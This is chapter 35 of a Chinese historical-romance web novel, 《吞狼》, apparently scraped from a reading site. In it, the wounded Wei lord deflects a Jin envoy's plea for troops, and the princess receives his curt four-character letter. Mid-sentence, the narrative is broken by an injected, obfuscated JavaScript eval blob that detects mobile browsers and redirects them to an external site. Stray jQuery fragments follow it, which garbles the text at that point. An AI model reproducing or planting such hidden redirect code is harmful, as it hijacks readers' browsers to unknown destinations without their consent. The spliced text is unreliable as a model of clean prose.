35. 第 35 章

作品:《吞狼

    士卒撩起帐帘,晋州使节及随从鱼贯而入。


    其中官阶最高者,是晋侯的叔父奉安伯叶敏。


    叶敏行至病榻前,浓重草药味和一丝丝血腥气拂过面颊,他眸光微闪,施礼道:“听闻魏侯负伤,我家主公心中甚忧,特命下官等携晋州上好药材探望,愿魏侯早日恢复。”


    随从将十几个装着药材的小匣呈上。


    储况费力扯出些笑意,“有劳晋侯挂怀…些许小伤,何足挂齿,倒是奉安伯,一路辛苦。”微微抬手,命亲随收下。


    说话间,叶敏视线在他周身轻轻的兜了一圈。


    只见储况比起诸侯盟会时清减许多,面色衰败,好似雨后废院的墙皮,衬得眸如漆、发如墨,整个人只余下黑白两色,活脱脱一只画皮鬼。


    叶敏暗暗心惊,收回视线,“魏州乃我抗祁盟约砥柱,魏侯万望保重。”


    储况谦逊道,“魏军在东南,不过勉强牵制。”


    叶敏等了等,见他并不主动提及西线晋军,只得面露难色道,“晋州在祁西虽有些成果,可…祁军增兵如潮,战事…唉,已呈胶着之态。”


    储况眼睛极缓、极沉的眨了下,看着像是伤体难支,语气倒是十分诚挚,“晋军骁勇,此前连克五城,已重创祁州士气,如今暂时受阻,亦是兵家常事,奉安伯与晋侯不必过于忧心。”


    叶敏见他寥寥数语就把晋州的艰难处境一笔带过,薄唇一抿,向前一步道,“可我军打探到消息,祁州已开始征发十五岁以上男子投军,此乃孤注一掷之举!若——”


    他的话,被储况一阵急促的咳声打断,亲随忙给储况递来一盏清茶。


    赵玄章冷眼瞧着叶敏,索性把话题挑明,“奉安伯的意思是…”


    叶敏瞧见赵玄璋腰间上将军符绶,拱手致意,“我晋州已血战数月,伤亡众多,而祁军大有鱼死网破之势……西线战场若有失,祁军便可倾尽全力攻打东南,届时魏州将独木难支!”


    储况缓缓闭目,良久睁眼道,“奉安伯所言,句句在理。”


    叶敏面色一亮,“魏侯明鉴!下官此番除探视外,亦奉我主之命,恳请魏侯派三万援兵西进,与晋军夹击祁州主力!”


    储况眼帘微微落下,三万兵力,将近魏军四成,叶峋那厮真敢开口。


    储况指尖轻叩榻边小桌,长袖下露出裹着纱布的手腕,清瘦苍白,骨节突出,仿佛隆冬里的一枝枯梅,“不论是为了天下苍生,还是各州盟誓,本侯都该即刻点兵增援……”


    说罢,他眼风微微向将领那边一扫。


    王昶见状,上前道,“主公三思!眼下东南战线祁军虽暂退,但并未远遁,我等仍需严阵以待!”


    罗玉成一捋斑白长须,口气略带讥讽:“祁州如虎狼,奉安伯心焦,实在情理之中,但兵书有言:‘驰车千驷,带甲十万‘,用兵讲究备而无患,末将在军中几十载,从没见过大战在即,反而分流阵前兵力的打法。”


    叶敏面色沉了下去,并不接话。


    储况自将领处收回视线,“这确乎是个难题…只怨本侯此次伤及根本,难以督军,魏军全靠几员大将支撑,实在腾挪不开。”


    面上堆砌出一副愁容,“若分两路,易致东南、西侧两线皆危。”


    “魏侯这是何意!”叶敏陡然变脸,身后其他晋州使节也都围拢上前,拉开一副要与魏侯激辩的架势。


    叶敏略倨傲的仰面道,“我家主公见魏州遭强祁欺凌,仗义施援,如今晋州前线危急……”


    “咳咳…”储况咳喘猛烈,面上泛起不自然的潮红,显然是伤重气虚,禁不起情绪波动。


    众将眼风如刀,齐刷刷挥向叶敏和他身后那些使节。


    一时间剑拔弩张。


    叶敏沉默片刻,到底不想太早撕破脸,转而说,“魏州虽势弱,但总不能弃盟州于不顾吧!盟约里白纸黑字写得清楚,难道魏州想失信于天下么?”


    储况平复了下呼吸,“盟约里的确约定了驰援的义务,不过…”


    眼帘微微一抬,“盟约也写明,‘若战况有变,亦可视情微调’啊。”


    叶敏一怔,眯起眼。


    盟约诸条,他晋州家臣都曾随晋侯细瞧过,只是这末尾一句,当时虽有人提出异议,但晋侯急于攻打祁西,也就没有细究。


    如今看来,竟是魏侯有意埋下的一根刺!


    叶敏冷笑,“看来,魏侯是早留了后手啊。”


    他正欲狠狠痛斥储况一番,不料储况却满面无辜,“奉安伯何出此言?本侯是想说,眼下魏州虽抽不出太多兵力远赴祁州西线,但仍是会顾及盟州之谊,量力而行。”


    说着,储况命亲随取了舆图过来,指向祁西一处,“祁军若想自东侧增兵,最掩人耳目的路线是取道瓮嘴峪,魏州可派一小批人马协助晋州镇守此处要冲。”


    指尖划过之处,层峦叠嶂,唯有一处豁口开在山麓东南,正是瓮嘴峪,越过它即可直达广阔平原。


    叶敏这才面色稍缓,瓮嘴峪确乎是晋侯与晋军将领多次提及的关键,祁州若增派强援,十之八九由此通过,只是晋州兵力都被牵制在平缓地带,实在无力抽调人马镇守。


    叶敏态度略软化,“如此,甚好。”


    储况视线缓缓滑过魏州诸将,最终落在沈昭和董威处。


    储况口气一凛,“沈昭、董威听令,着尔等领兵,死守瓮嘴峪!把祁州增援封锁在谷底林间,让其无法与主力汇合,为我盟州分忧。”


    沈昭抬眸瞧瞧那舆图,面色激动的舔了舔唇,瓮嘴峪地势狭窄,易守难攻,若能在此挡住祁军,绝对大功一件!待他得胜归来,军中谁还敢轻视他分毫?


    董威则眸光微动,比起沈昭,他还是老成些许,那瓮嘴峪一侧是高山,另一侧即是平原,守军缺少纵深,怕是要有一番鏖战。但他将门之后,岂会畏战?


    故,董威终是面色坦然领命。


    赵玄璋和王昶目光一碰,没什么表情。


    罗玉成瞧着众人各异神态,微微叹了口气。


    叶敏态度恢复如初,做足了表面功夫才带人告辞。


    晋州使节刚走出营帐,逐影便从外面进来,看看屏风后的一众武将,又瞧瞧储况。


    “何事?”储况道。


    逐影到储况面前,跪地呈上一封信,“主人,有家书!”


    听得那‘家书’二字,储况面色却略微凝固,素来游刃有余的表情瞬间裂开一条细缝,仿佛第一次见到新鲜事物的孩童,陌生、好奇,说不清哪种情绪更多,但他下一瞬便意识到失态,那细缝立即闭合,再无半点破绽。


    储况抬手拿起信,凝眸顺着一笔一划,描摹着信封上‘魏侯亲启‘’字样,卫瀛字迹大开大合,透着一丝疏狂,不似寻常女子般娟秀。


    这信自几百里外在马背上颠簸数日才送来,他却似乎从信封上嗅到一缕她身上的淡淡馨香。


    他将信置于身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277702|195215||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    侧,“本侯累了,若诸位无事禀报,可自行退下。”


    将领们恭敬告退。


    储况半卧在床头,阖目休息半晌,待外面没了动静,才取来信轻轻拆开,展平细读。


    没什么特别的,都是些场面话。


    还有一处漏了字,看来她写得很快。


    家书……


    想不到,他也有一日,能收到家书。


    他面上却是戏谑一笑,什么家书,不过是那位娇贵的殿下一时心血来潮,信手写了几句,还写得这般粗心。


    丢在身侧,不再理会。


    闭目养神良久,亲随进了营帐,端着清粥和几道简单菜色。


    储况起身时指尖又碰到信,犹豫片刻,命亲随找来一个木匣,放了进去。


    亲随瞧着储况动作,迟疑了下,问道,“主公,需要回信么?奴帮您研磨。”


    储况扶着木匣搭扣的手指一顿,“……不必。”


    他略吃几口饭菜,又服了药,眼看天色不早,躺下就寝。


    月明星稀,万籁俱寂。


    到了三更天,营帐里再度亮起一团昏黄的光。


    储况起身披上外衫,秉烛走到案前,迟疑片刻,还是抽出信笺,落座提笔,笔尖却在半空悬停许久……


    魏州襄平,侯府沐云馆。


    窗外,一抔雪自腊梅枝上滑落,枝丫颤了颤,缕缕梅香悄然爬进花厅的窗。


    卫瀛一袭殷红衣裙,握着金丝镂雕手炉端坐上首。


    崔朔来觐见,落座后刚上了茶,不待他开口,便有侍女用红漆小盘托着信走到卫瀛身侧,低声道,“殿下,前线魏侯来信。”


    卫瀛神色略微一顿,视线落在信上。


    这是两人间头一回书信往来,不知储况写了什么。


    她面上升起一抹兴味,指尖触及信封,却又轻轻瞥了眼下首方向。


    夫妻间书信,乃私密之事,按说不宜在属下面前看……不过,她与储况只是表面夫妻,回信八成中规中矩,似乎也没什么可避讳的。


    思虑及此,卫瀛便当场拆开,结果展开信纸刚瞄了一眼,就口气淡淡吩咐道,“烟素,收起来吧。”


    利落的把信纸一折,塞回信封。


    烟素一愣,这么快?


    卫瀛瞥了眼烟素,心道能不快么,就四个字:安好,勿念。


    卫瀛娥眉往下一压,长睫垂落。


    她生来便是万人之上,何曾受过一星半点的怠慢?她明明给储况写了一页纸,询问战情之外,还对他本人嘘寒问暖、关怀伤情,她自问是用了心的。


    又瞄了眼信封,呵,这厮字倒是挺漂亮,清癯俊逸,颇有风骨。


    可谁能想到里面只有四个字!


    卫瀛暗暗磨牙,竟敢这么敷衍她?


    崔朔视线一直凝在卫瀛面上,见她脸色急转直下,他不由盯着那个拿走回信的侍女背影,面皮一绷。


    公主只扫了一眼,可见回信极其敷衍。


    有人倾尽所有也无法触及的高悬之月,可揽明月入怀者,却丝毫不珍惜。


    若换做是他……


    卫瀛运了一口气,再一抬眸,笑脸恢复如初,“好了,谈正事吧。卢望的关系背景,可查清了?”


    却见崔朔垂目不语,搭在桌边的手,指腹似是无意识的摩挲着,周身气度颇为冷峻阴沉。


    “崔统领?”卫瀛略侧过脸瞧着他,“可是查到了什么棘手事?”